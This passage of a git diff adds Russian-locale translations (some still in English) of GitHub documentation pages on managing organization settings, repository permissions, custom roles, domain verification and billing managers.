организации](/github/setting-up-and-managing-organizations-and-teams/connecting-your-identity-provider-to-your-organization).{% endif %} + +## Изменение имени организации + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +4. В нижней части страницы параметров в разделе "Переименовать организацию" нажмите **Переименовать организацию**. + ![Кнопка "Переименовать организацию"](/assets/images/help/settings/settings-rename-organization.png) + +## Дополнительные материалы + +* [Почему мои фиксации связаны с неправильным пользователем?](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user) diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md new file mode 100644 index 000000000000..5c3a4f8519d9 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md @@ -0,0 +1,53 @@ +--- +title: Restricting repository creation in your organization +intro: 'To protect your organization''s data, you can configure permissions for creating repositories in your organization.' +redirect_from: + - /articles/restricting-repository-creation-in-your-organization + - /github/setting-up-and-managing-organizations-and-teams/restricting-repository-creation-in-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Restrict repository creation +--- + +You can choose whether members can create repositories in your organization. {% ifversion ghec or ghes or ghae %}If you allow members to create repositories, you can choose which types of repositories members can create.{% elsif fpt %}If you allow members to create repositories, you can choose whether members can create both public and private repositories or public repositories only.{% endif %} Organization owners can always create any type of repository. + +{% ifversion fpt %} +Organizations using {% data variables.product.prodname_ghe_cloud %} can also restrict members to creating private repositories only. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization). +{% endif %} + +{% ifversion ghec or ghae or ghes %} +Enterprise owners can restrict the options you have available for your organization's repository creation policy. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-creation)." +{% endif %} + +{% warning %} + +**Warning**: This setting only restricts the visibility options available when repositories are created and does not restrict the ability to change repository visibility at a later time. For more information about restricting changes to existing repositories' visibilities, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)." + +{% endwarning %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.member-privileges %} +5. Under "Repository creation", select one or more options. + + {%- ifversion ghes or ghec or ghae %} + ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png) + {%- elsif fpt %} + ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons-fpt.png) + {%- endif %} + + {% ifversion fpt or ghec %} + {% note %} + + **Note:** To restrict members to creating private repositories only, your organization must use {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} + + {% endnote %} + {%- endif %} + +6. Click **Save**. diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization.md new file mode 100644 index 000000000000..f0044d177080 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization.md @@ -0,0 +1,34 @@ +--- +title: Restricting repository visibility changes in your organization +intro: 'To protect your organization''s data, you can configure permissions for changing repository visibility in your organization.' +redirect_from: + - /articles/restricting-repository-visibility-changes-in-your-organization + - /github/setting-up-and-managing-organizations-and-teams/restricting-repository-visibility-changes-in-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Set visibility changes policy +permissions: Organization owners can restrict repository visibility changes for an organization. +--- + +You can restrict who has the ability to change the visibility of repositories in your organization, such as changing a repository from private to public. For more information about repository visibility, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." + +You can restrict the ability to change repository visibility to organization owners only, or you can allow anyone with admin access to a repository to change visibility. + +{% warning %} + +**Warning**: If enabled, this setting allows people with admin access to choose any visibility for an existing repository, even if you do not allow that type of repository to be created. For more information about restricting the visibility of repositories during creation, see "[Restricting repository creation in your organization](/articles/restricting-repository-creation-in-your-organization)." + +{% endwarning %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.member-privileges %} +5. Under "Repository visibility change", deselect **Allow members to change repository visibilities for this organization**. +![Checkbox to allow members to change repository visibility](/assets/images/help/organizations/disallow-members-to-change-repo-visibility.png) +6. Click **Save**. diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md b/translations/ru-RU/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md new file mode 100644 index 000000000000..43c21167211f --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md @@ -0,0 +1,37 @@ +--- +title: Setting permissions for adding outside collaborators +intro: 'To protect your organization''s data and the number of paid licenses used in your organization, you can configure who can add outside collaborators to organization repositories.' +redirect_from: + - /articles/restricting-the-ability-to-add-outside-collaborators-to-organization-repositories + - /articles/setting-permissions-for-adding-outside-collaborators + - /github/setting-up-and-managing-organizations-and-teams/setting-permissions-for-adding-outside-collaborators +versions: + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Set collaborator policy +--- + +By default, anyone with admin access to a repository can invite outside collaborators to work on the repository. You can choose to restrict the ability to add outside collaborators to organization owners only. + +{% ifversion ghec %} +{% note %} + +**Note:** Only organizations that use {% data variables.product.prodname_ghe_cloud %} can restrict the ability to invite outside collaborators to organization owners. {% data reusables.enterprise.link-to-ghec-trial %} + +{% endnote %} +{% endif %} + +{% ifversion ghec %}If your organization is owned by an enterprise account, you{% else %}You{% endif %} may not be able to configure this setting for your organization, if an enterprise owner has set a policy at the enterprise level. For more information, see "[Enforcing repository management policies in your enterprise]{% ifversion ghec %}(/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-collaborators-to-repositories)"{% else %}(/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-outside-collaborators-to-repositories){% endif %}." + +{% data reusables.organizations.outside-collaborators-use-seats %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.member-privileges %} +5. Under "Repository outside collaborators", deselect **Allow repository administrators to invite outside collaborators to repositories for this organization**. + ![Checkbox to allow repository administrators to invite outside collaborators to organization repositories](/assets/images/help/organizations/repo-invitations-checkbox-updated.png) +6. Click **Save**. diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md b/translations/ru-RU/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md new file mode 100644 index 000000000000..5309271e6e26 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md @@ -0,0 +1,26 @@ +--- +title: Setting permissions for deleting or transferring repositories +intro: 'You can allow organization members with admin permissions to a repository to delete or transfer the repository, or limit the ability to delete or transfer repositories to organization owners only.' +redirect_from: + - /articles/setting-permissions-for-deleting-or-transferring-repositories-in-your-organization + - /articles/setting-permissions-for-deleting-or-transferring-repositories + - /github/setting-up-and-managing-organizations-and-teams/setting-permissions-for-deleting-or-transferring-repositories +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Set repo management policy +--- + +Owners can set permissions for deleting or transferring repositories in an organization. + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.member-privileges %} +5. Under "Repository deletion and transfer", select or deselect **Allow members to delete or transfer repositories for this organization**. +![Checkbox to allow members to delete repositories](/assets/images/help/organizations/disallow-members-to-delete-repositories.png) +6. Click **Save**. diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization.md new file mode 100644 index 000000000000..c6c3ad0ed373 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization.md @@ -0,0 +1,27 @@ +--- +title: Setting team creation permissions in your organization +intro: You can allow all organization members to create teams or limit team creation to organization owners. +redirect_from: + - /articles/setting-team-creation-permissions-in-your-organization + - /github/setting-up-and-managing-organizations-and-teams/setting-team-creation-permissions-in-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Restrict team creation +--- + +Organization owners can set team creation permissions. + +If you do not set team creation permissions, all organization members will be able to create teams by default. + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.member-privileges %} +5. Under "Team creation rules", select or deselect **Allow members to create teams**. +![Checkbox to allow members to create teams](/assets/images/help/organizations/allow-members-to-create-teams.png) +6. Click **Save**. diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/transferring-organization-ownership.md b/translations/ru-RU/content/organizations/managing-organization-settings/transferring-organization-ownership.md new file mode 100644 index 000000000000..06c6d34b1b2a --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/transferring-organization-ownership.md @@ -0,0 +1,42 @@ +--- +title: Передача владения организацией +intro: 'Чтобы сделать другого пользователя владельцем учетной записи организации, необходимо добавить нового владельца {% ifversion fpt or ghec %}, убедиться в том, что сведения о выставлении счетов обновлены,{% endif %} а затем удалить себя из учетной записи.' +redirect_from: + - /articles/needs-polish-how-do-i-give-ownership-to-an-organization-to-someone-else + - /articles/transferring-organization-ownership + - /github/setting-up-and-managing-organizations-and-teams/transferring-organization-ownership +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Transfer ownership +ms.openlocfilehash: 2605af47d008eff7ee786d80f64142a267676ee1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145069637' +--- +{% ifversion ghec %} {% note %} + +**Примечание.** {% data reusables.enterprise-accounts.invite-organization %} + +{% endnote %}{% endif %} + +1. Если вы являетесь единственным участником с правами *владельца*, предоставьте другому участнику организации роль владельца. Дополнительные сведения см. в разделе [Назначение владельца организации](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization#appointing-an-organization-owner). +2. Обратитесь к новому владельцу и убедитесь, что он имеет [доступ к параметрам организации](/articles/accessing-your-organization-s-settings). +{% ifversion fpt or ghec %} +3. Если в данное время вы занимаетесь оплатой GitHub в организации, вам также потребуется, чтобы новый владелец или [менеджер по выставлению счетов](/articles/adding-a-billing-manager-to-your-organization/) обновили платежные реквизиты организации. Дополнительные сведения см. в разделе [Добавление или изменение метода оплаты](/articles/adding-or-editing-a-payment-method). + + {% warning %} + + **Предупреждение**. Удаление себя из организации **не** обновляет сведения о выставлении счетов в файле для учетной записи организации. Новый владелец или менеджер по выставлению счетов должны обновить сведения о выставлении счетов в файле, чтобы удалить кредитную карту или данные о счете PayPal. + + {% endwarning %} + +{% endif %} +4. [Удалите себя](/articles/removing-yourself-from-an-organization) из организации. diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/upgrading-to-the-corporate-terms-of-service.md b/translations/ru-RU/content/organizations/managing-organization-settings/upgrading-to-the-corporate-terms-of-service.md new file mode 100644 index 000000000000..cd917870e9e8 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/upgrading-to-the-corporate-terms-of-service.md @@ -0,0 +1,35 @@ +--- +title: Переход на корпоративные условия предоставления услуг +intro: Организации могут перейти с условий обслуживания "Стандартные" на условия "Корпоративные". +redirect_from: + - /articles/upgrading-to-the-corporate-terms-of-service + - /github/setting-up-and-managing-organizations-and-teams/upgrading-to-the-corporate-terms-of-service +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Upgrade to Corporate ToS +ms.openlocfilehash: 071ff249ec112af507c3bb026065281173f64b8a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145119232' +--- +Стандартные условия предоставления услуг — это соглашение между {% data variables.product.prodname_dotcom %} и вами как отдельным лицом. Чтобы вступить в соглашение с {% data variables.product.prodname_dotcom %} от имени юридического лица, например компании, некоммерческой организации или группы, владельцы организации могут перейти на корпоративные условия предоставления услуг. + +1. Перейдите к параметрам своей организации и прокрутите к полю **Условия обслуживания**. ![прокрутить до условий обслуживания](/assets/images/help/organizations/account-settings-tos.png) + +2. После прочтения корпоративных условий предоставления услуг нажмите **Подписать корпоративные условия**. ![выбрать "Подписать корпоративные условия"](/assets/images/help/organizations/button-sign-corporate-tos.png) + +3. Выберите **Да, я хочу подписать эти условия от имени своего предприятия.** + ![ Флажок для входа от имени вашего предприятия](/assets/images/help/organizations/sign-on-behalf-business.png) +4. Введите название компании, некоммерческой организации или группы, которой принадлежит учетная запись организации. Это юридическое лицо, которое будет вступать в соглашение с {% data variables.product.prodname_dotcom %}. + ![Поле "Название предприятия"](/assets/images/help/organizations/business-name-field.png) +5. Чтобы согласиться с корпоративными условиями предоставления услуг от имени вашего юридического лица, нажмите **Принять условия**. + ![Кнопка "Принять условия"](/assets/images/help/organizations/accept-terms-button.png) + +## Дополнительные материалы +- [Корпоративные условия предоставления услуг GitHub](/free-pro-team@latest/github/site-policy/github-corporate-terms-of-service) diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md new file mode 100644 index 000000000000..76524a2ce037 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md @@ -0,0 +1,93 @@ +--- +title: Verifying or approving a domain for your organization +intro: 'You can verify your ownership of domains with {% data variables.product.company_short %} to confirm your organization''s identity. You can also approve domains that {% data variables.product.company_short %} can send email notifications to for members of your organization.' +redirect_from: + - /articles/verifying-your-organization-s-domain + - /articles/verifying-your-organizations-domain + - /github/setting-up-and-managing-organizations-and-teams/verifying-your-organizations-domain + - /organizations/managing-organization-settings/verifying-your-organizations-domain +permissions: Organization owners can verify or approve a domain for an organization. +versions: + ghes: '*' + ghec: '*' +type: how_to +topics: + - Enterprise + - Notifications + - Organizations + - Policy +shortTitle: Verify or approve a domain +--- + +## About domain verification + +After verifying ownership of your organization's domains, a "Verified" badge will display on the organization's profile. {% ifversion ghec %}If your organization has agreed to the Corporate Terms of Service, organization owners will be able to verify the identity of organization members by viewing each member's email address within the verified domain. For more information, see "[About your organization's profile page](/articles/about-your-organization-s-profile/)" and "<a href="/articles/upgrading-to-the-corporate-terms-of-service" class="dotcom-only">Upgrading to the Corporate Terms of Service</a>."{% endif %} + +{% ifversion ghec %}If your organization is owned by an enterprise account, a{% elsif ghes %}A{% endif %} "Verified" badge will display on your organization's profile for any domains verified for the enterprise account, in addition to any domains verified for the organization. Organization owners can view any domains that an enterprise owner has verified or approved, and edit the domains if the organization owner is also an enterprise owner. For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)." + +{% ifversion ghec %} +{% note %} + +**Note:** To verify or approve domains, your organization must use {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} + +{% endnote %} +{% endif %} + +{% data reusables.organizations.verified-domains-details %} + +{% ifversion ghec or ghes %} +After verifying ownership of your organization's domain, you can restrict email notifications for the organization to that domain. For more information, see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)." +{% endif %} + +{% ifversion ghec %}You can also verify custom domains used for {% data variables.product.prodname_pages %} to prevent domain takeovers when a custom domain remains configured but your {% data variables.product.prodname_pages %} site is either disabled or no longer uses the domain. For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)."{% endif %} + +## About domain approval + +{% data reusables.enterprise-accounts.approved-domains-beta-note %} + +{% data reusables.enterprise-accounts.approved-domains-about %} + +After you approve domains for your organization, you can restrict email notifications for activity within the organization to users with verified email addresses within verified or approved domains. For more information, see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)." + +Enterprise owners cannot see which organization members or email addresses receive notifications within approved domains. + +Enterprise owners can also approve additional domains for organizations owned by the enterprise. {% ifversion ghec %}For more information, see "[Verifying or approving a domain for your enterprise](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."{% endif %}{% ifversion ghes %}For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."{% endif %} + +## Verifying a domain for your organization + +To verify a domain, you must have access to modify domain records with your domain hosting service. + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.verified-domains %} +{% data reusables.organizations.add-a-domain %} +{% data reusables.organizations.add-domain %} +{% data reusables.organizations.add-dns-txt-record %} +1. Wait for your DNS configuration to change, which may take up to 72 hours. You can confirm your DNS configuration has changed by running the `dig` command on the command line, replacing `ORGANIZATION` with the name of your organization and `example.com` with the domain you'd like to verify. You should see your new TXT record listed in the command output. + ```shell + $ dig _github-challenge-ORGANIZATION.example.com +nostats +nocomments +nocmd TXT + ``` +1. After confirming your TXT record is added to your DNS, follow steps one through three above to navigate to your organization's approved and verified domains. +{% data reusables.organizations.continue-verifying-domain %} +11. Optionally, once the "Verified" badge is visible on your organization's profile page, you can delete the TXT entry from the DNS record at your domain hosting service. +![Verified badge](/assets/images/help/organizations/verified-badge.png) + +## Approving a domain for your organization + +{% data reusables.enterprise-accounts.approved-domains-beta-note %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.verified-domains %} +{% data reusables.organizations.add-a-domain %} +{% data reusables.organizations.add-domain %} +{% data reusables.organizations.domains-approve-it-instead %} +{% data reusables.organizations.domains-approve-domain %} + +## Removing an approved or verified domain + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.verified-domains %} +1. To the right of the domain to remove, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Delete**. + !["Delete" for a domain](/assets/images/help/organizations/domains-delete.png) diff --git a/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-repository-roles.md b/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-repository-roles.md new file mode 100644 index 000000000000..ff39eeeb369e --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-repository-roles.md @@ -0,0 +1,135 @@ +--- +title: Пользовательские роли репозитория +intro: Вы можете более детально управлять доступом к репозиториям вашей организации с помощью пользовательских ролей репозитория. +versions: + feature: custom-repository-roles +topics: + - Organizations + - Teams +shortTitle: About custom roles +ms.openlocfilehash: c4e7f791b9402b45160b31aab2653bf80150ddee +ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/10/2022 +ms.locfileid: '148160691' +--- +{% data reusables.organizations.custom-repo-roles-ghec-only %} + +## Пользовательские роли репозитория + +Чтобы выполнять какие-либо действия в {% data variables.product.product_name %}, например создавать запросы на включение внесенных изменений в репозитории или изменять параметры выставления счетов для организации, пользователь должен иметь достаточные разрешения для доступа к соответствующей учетной записи или ресурсу. Для управления доступом используются разрешения. Разрешение — это возможность выполнения конкретного действия. Например, возможность удалить проблему является разрешением. Роль — это набор разрешений, которые можно назначить отдельным пользователям или командам. + +В организации можно назначать роли на уровне организации, команды и репозитория. Дополнительные сведения о различных уровнях ролей см. в разделе "[Роли в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)". + +Вы может организовать более детальный контроль над разрешениями, предоставляемыми на уровне репозитория, создав до трех пользовательских ролей репозитория. {% data reusables.organizations.about-custom-repo-roles %} Дополнительные сведения см. в разделе [Управление настраиваемыми ролями репозитория для организации](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization). + +После создания пользовательской роли любой пользователь с доступом администратора к репозиторию может назначить эту роль отдельному лицу или команде. Дополнительные сведения см. в статьях "[Управление доступом пользователей к репозиторию организации](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository)" и "[Управление доступом команды к репозиторию организации](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)". + +{% ifversion custom-repo-role-api %} + +Создавать пользовательские роли репозитория и управлять ими можно также с помощью REST API. Дополнительные сведения см. в статье "[Пользовательские роли репозитория](/rest/orgs/custom-roles)". + +{% else %} + +Для перечисления пользовательских ролей репозитория, доступных в вашей организации, можно также использовать REST API. Дополнительные сведения см. в статье "[API пользовательских ролей репозитория](/rest/orgs/custom-roles)". + +{% endif %} + +## Сведения о наследуемой роли + +При создании пользовательской роли репозитория сначала выберите наследуемую роль из набора предварительно определенных вариантов. Наследуемая роль определяет начальный набор разрешений, включенных в пользовательскую роль. Затем эту роль можно настроить, выбрав для нее дополнительные разрешения. Полный список доступных разрешений см. в разделе "[Дополнительные разрешения для пользовательских ролей](#additional-permissions-for-custom-roles)". + +Параметры наследуемой роли стандартны для разных типов участников в репозитории. + +| Наследуемая роль | Целевая аудитория | +|----|----| +| **Чтение** | Участники, не относящиеся к коду, которые хотят просмотреть или обсудить проект | +| **Рассмотрение** | Участники, которым требуется упреждающее управление проблемами и запросами на вытягивание без доступа на запись | +| **запись** | Участники организации и участники совместной работы, которые активно отправляются в проект | +| **Техническое обслуживание** | Руководители проектов, которым необходимо управлять репозиторием без доступа к конфиденциальным или разрушительным действиям | + +## Примеры пользовательских ролей + +Ниже приведены примеры пользовательских ролей репозитория, которые можно настроить. + +| Пользовательская роль репозитория | Сводка | Наследуемая роль | Дополнительные разрешения | +|----|----|----|----| +| Инженер по безопасности | Возможность добавлять свой код и поддерживать цепочку безопасности | **Техническое обслуживание** | Удаление результатов проверки кода | +| Подрядчик | Возможность разрабатывать интеграции веб-перехватчиков | **запись** | Управление веб-перехватчиками | +| Куратор сообщества | Возможность обрабатывать все взаимодействия в сообществе без возможности добавлять свой код | **Чтение** | — Отметка проблемы как дубликата <br> — Управление параметрами страницы GitHub <br> — Управление параметрами вики-сайта <br> — Настройка отображения в социальных сетях <br> — Изменение метаданных репозитория <br> — Рассмотрение обсуждений | + +## Дополнительные разрешения для пользовательских ролей + +Выбрав наследуемую роль, вы можете указать дополнительные разрешения для нее. + +Выбрать дополнительное разрешение можно, только если оно еще не включено в наследуемую роль. Например, если наследуемая роль предоставляет доступ на **запись** для репозитория, то разрешение "Закрытие запроса на включение внесенных изменений" уже включено в наследуемую роль. + +{% ifversion discussions %} +### Обсуждения + +- Создание категории обсуждения +- Изменение категории обсуждения +- Удаление категории обсуждения +- Пометка или отмена пометки ответов на обсуждение +- Скрытие или отображение комментариев к обсуждению +- Преобразование вопросов в обсуждения + +Дополнительные сведения см. в разделе [{% data variables.product.prodname_discussions %}](/discussions). +{% endif %} + +### Проблема и запросы на включение внесенных изменений + +- Назначение или удаление пользователя +- Добавление и удаление меток + +### Проблема + +- Закрытие проблемы +- Повторное открытие закрытой проблемы +- Удаление проблемы +- Отметка проблемы как дубликата + +### Запрос на вытягивание + +- Закрытие запроса на включение внесенных изменений +- Повторное открытие закрытого запроса на включение внесенных изменений +- Запрос проверки запроса на вытягивание + +### Хранилище + +- Установка вех +- Управление параметрами вики-сайта +- Управление параметрами проекта +- Управление параметрами слияния запросов на вытягивание +- Управление параметрами {% data variables.product.prodname_pages %} (см. [раздел Настройка источника публикации для сайта {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site) +- Управление веб-перехватчиками +- Управление ключами развертывания +- Изменение метаданных репозитория {%- ifversion ghec %} +- Установка ограничений взаимодействия {%- endif %} +- Настройка предварительной версии социальных общения +- Отправка фиксаций в защищенные ветви (правила защиты ветви будут по-прежнему применяться) +- Создание защищенных тегов +- Удаление защищенных тегов {%- ifversion bypass-branch-protections %} +- Обход защиты ветвей {%- endif %} + +### Безопасность + +- Просмотр результатов {% data variables.product.prodname_code_scanning %} +- Закрытие или повторное открытие результатов {% data variables.product.prodname_code_scanning %} +- Удаление результатов {% data variables.product.prodname_code_scanning %} +- Просмотр {% data variables.product.prodname_dependabot_alerts %} +- Закрытие или повторное открытие {% data variables.product.prodname_dependabot_alerts %} +- Просмотр результатов {% data variables.product.prodname_secret_scanning %} +- Закрытие или повторное открытие результатов {% data variables.product.prodname_secret_scanning %} + +## Приоритет разных уровней доступа + +Если человеку предоставляются разные уровни доступа с помощью разных средств, таких как членство в команде и базовые разрешения для организации, самый высокий уровень доступа заменяет другие. Например, если ответственный по организации сначала предоставляет участнику организации пользовательскую роль, которая использует наследуемую роль "Чтение", а затем устанавливает базовое разрешение организации на "Запись", эта пользовательская роль получит доступ на запись в дополнение ко всем дополнительным разрешениям, включенным в пользовательскую роль. + +{% data reusables.organizations.mixed-roles-warning %} + +Чтобы устранить конфликты доступа, можно изменить базовые разрешения организации, права доступа команды или пользовательскую роль. Дополнительные сведения см. в разделе: + - [Настройка базовых разрешений для организации](/github/setting-up-and-managing-organizations-and-teams/setting-base-permissions-for-an-organization) + - [Управление доступом команды к репозиторию организации](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository) + - "[Изменение роли репозитория](#editing-a-repository-role)" diff --git a/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md b/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md new file mode 100644 index 000000000000..8042482c3961 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md @@ -0,0 +1,74 @@ +--- +title: Добавление менеджера по выставлению счетов в организацию +intro: "*Менеджер выставления счетов*\_— это пользователь, который управляет параметрами выставления счетов для вашей организации, например обновляет сведения об оплате. Это полезная функция, если у постоянных членов вашей организации обычно нет доступа к ресурсам выставления счетов." +redirect_from: + - /articles/adding-a-billing-manager-to-your-organization + - /github/setting-up-and-managing-organizations-and-teams/adding-a-billing-manager-to-your-organization +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams + - Billing +shortTitle: Add a billing manager +ms.openlocfilehash: f7b4e6d17ff0e6680fdf9509b467f314b1a9e4ec +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145119227' +--- +Участники команды владельцев вашей организации могут предоставлять пользователям разрешения *менеджера по выставлению счетов*. После того как пользователь примет приглашение стать менеджером по выставлению счетов для вашей организации, он сможет приглашать в качестве менеджеров по выставлению счетов дополнительных пользователей. + +{% note %} + +**Примечание.** Менеджеры по выставлению счетов не используют платные лицензии в подписке вашей организации. + +{% endnote %} + +## Разрешения для менеджеров по выставлению счетов + +Менеджеры по выставлению счетов могут выполнять следующие действия: + +- Повышение или понижение уровня учетной записи +- Добавление, обновление и удаление методов оплаты +- Просмотр журнала платежей +- Квитанции о скачивании +- Просмотр, приглашение и удаление менеджеров по выставлению счетов +- Запуск, изменение и отмена спонсорства + +Кроме того, все менеджеры по выставлению счетов будут получать квитанции о выставлении счетов по электронной почте в день выставления счетов организации. + +Менеджеры по выставлению счетов **не могут** выполнять следующие действия: + +- Создание репозиториев в организациях и доступ к репозиториям +- Просмотр частных участников организации +- Отображение в списке участников организации +- Приобретение, изменение или отмена подписок на приложения {% data variables.product.prodname_marketplace %} + +{% tip %} + +**Совет.** Если ваша организация [требует, чтобы участники, менеджеры по выставлению счетов и внешние участники совместной работы использовали двухфакторную проверку подлинности](/articles/requiring-two-factor-authentication-in-your-organization), пользователь должен включить двухфакторную проверку подлинности, иначе он не сможет принять ваше приглашение стать менеджером по выставлению счетов в вашей организации. + +{% endtip %} + +## Приглашение менеджера по выставлению счетов + +{% ifversion ghec %} {% note %} + +**Примечание.** Если ваша организация принадлежит учетной записи предприятия, вы не сможете приглашать менеджеров по выставлению счетов на уровне организации. Дополнительные сведения см. в статье [Сведения об учетных записях предприятия](/admin/overview/about-enterprise-accounts). + +{% endnote %} {% endif %} + +Приглашенный пользователь получит электронное письмо с предложением стать менеджером по выставлению счетов в вашей организации. Когда приглашенный пользователь нажмет на ссылку "Принять" в полученном приглашении, он автоматически будет добавлен в организацию в качестве менеджера по выставлению счетов. Если у такого пользователя нет учетной записи GitHub, он будет перенаправлен на страницу регистрации и автоматически добавлен в организацию в качестве менеджера по выставлению счетов после того, как создаст учетную запись. + +{% data reusables.organizations.billing-settings %} +1. В разделе "Управление выставлением счетов" рядом с пунктом "Менеджеры по выставлению счетов" нажмите **"Добавить**". + ![Приглашение менеджера по выставлению счетов](/assets/images/help/billing/settings_billing_managers_list.png) +6. Введите имя пользователя или адрес 